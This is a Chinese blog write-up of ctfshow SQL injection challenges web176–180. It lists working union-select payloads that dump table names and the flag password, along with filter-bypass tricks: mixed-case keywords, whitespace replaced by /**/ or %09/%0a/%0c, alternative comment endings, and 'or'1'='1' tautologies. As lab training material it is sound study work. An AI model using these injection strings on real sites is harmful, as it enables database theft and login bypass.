当前位置: 首页 > wzjs >正文

秦皇岛app开发公司网站优化软件费用

秦皇岛app开发公司,网站优化软件费用,三好街做网站公司,宝鸡做网站公司哪家好web入门176 对传入参数进行了过滤 字段数是3 过滤了查询的单词,我们试试大小写绕过 ok发现是select被过滤 查库名: 查表名:-1 union selEct 1,2,group_concat(table_name) from information_schema.tables where table_schemadatabase() --…
web入门176

对传入参数进行了过滤

字段数是3

过滤了查询的单词,我们试试大小写绕过

ok发现是select被过滤

查库名:

查表名:-1' union selEct 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

查列名:-1' union selEct 1,2,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user' --+

那就password:1' union Select 1,2, group_concat(password) from ctfshow_user where username='flag'--+

web入门177

经过几次测试,发现' --+类型的既不报错也不回显

这样是可以的

因为--+中的+是空格的意思,所以是过滤了空格,那我们就用/**/代替

字段数:

-1'order/**/by/**/3%23(最后面的'要使用url编码)

库:-1'union/**/select/**/1,2,database()%23

表:-1'union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()%23

然后就都是一样的,至于替换空格的方式,还有%0a(换行符)%09(Tab)%0b(垂直制表符)

flag:-1'union%09select%0a1,2,password%0Afrom%0bctfshow_user%23

web入门178

通过以上可以得出,还是过滤了空格,然后把/**/也过滤了

然后就是老样子

-1'union%0bselect%0b1,2,group_concat(table_name)%0afrom%0Ainformation_schema.tables%09where%09table_schema=database()%23

-1'union%09select%0a1,2,password%0Afrom%0bctfshow_user%0bwhere%0busername='flag'%23

web入门179

测试发现%09,%0a,%0b和%0d(回车)都不行

但%0c(换页)可以

然后就老样子:

1'union%0cselect%0c1,2,group_concat(table_name)%0cfrom%0cinformation_schema.tables%0cwhere%0ctable_schema=database()%23

以下方法也可以:

-1'union%0cselect%0c1,2,group_concat(password)%0cfrom%0cctfshow_user%23

-1'union(select(select(group_concat(password))from(ctfshow_user)),1,2)%23

'or(1=1)%23

'||1=1%23

'or'1'='1'%23

web入门180

非常奇怪,这里最后面直接'可以了

-1'union%0cselect%0c1,2,database()'

然后后面又不行了

这里可以用--%0c

-1'union%0cselect%0c1,2,table_name%0cfrom%0cinformation_schema.tables%0cwhere%0ctable_schema=database()--%0c

-1'union%0cselect%0c1,2,password%0cfrom%0cctfshow_user%0cwhere%0cusername='flag'--%0c

当然,还有其他的方法:'or'1'='1'--%0c

'or(username)='flag

'||username='flag

先通过第一个'闭合前面的,再用第二个闭合后面的(废话)

如:

SELECT * FROM users WHERE username = '$username' AND password = '$password';

加上就变成

SELECT * FROM users WHERE username = '' OR (username) = 'flag' AND password = '';

OR 条件会使得即使密码为空,只要存在一个 username 包含 "flag" 的记录,查询就会返回结果

http://www.dtcms.com/wzjs/480795.html

相关文章:

  • 网站建设需要多少钱费用seo搜索引擎优化人员
  • 青山湖网站建设b站推广网站入口mmm
  • 做羞羞的网站厦门seo计费
  • 在线营销型网站韩国网站
  • 深圳免费网站排名优化网络营销常见的工具
  • 网站开发公司模板口碑营销案例分析
  • 定制做网站设计seo关键词布局技巧
  • 迪奥网络营销方式seo研究中心晴天
  • 华大 建设网站佛山快速排名seo
  • 2016年建设网站赚钱吗网站提交工具
  • 广州外贸网站信息上海关键词优化公司哪家好
  • 深圳开发网站建设哪家好东莞疫情最新消息今天新增
  • 博客 软件 wordpresswindows优化大师靠谱吗
  • asp.net 制作网站教程百度seo关键词工具
  • css发动机关键词优化技巧有哪些
  • 有什么教人做论文的网站吗搜索引擎主要包括三个部分
  • 瑞幸咖啡网站建设方案徐州网站优化
  • 做美容美发学校网站公司西地那非能提高硬度吗
  • 化妆品网站推广策划书惠州大亚湾经济技术开发区
  • html企业网站模板下载小说排行榜百度搜索风云榜
  • cn 域名网站个人网站注册平台
  • 怎么用div做网站网络营销的理解
  • 义乌万物网络科技 网站建设网站推广主要是做什么
  • 招聘网站建设推广小红书seo是什么
  • 旅游网站代码html威海网站制作
  • 沈阳网站建设与维护初学者做电商怎么入手
  • 成都营销型网站设计网络营销外包收费
  • 怎么做网站设市场营销案例100例
  • 有哪些做设计交易网站有哪些内容适合发软文的平台
  • 微网站如何做微信支付宝支付接口最新网络推广平台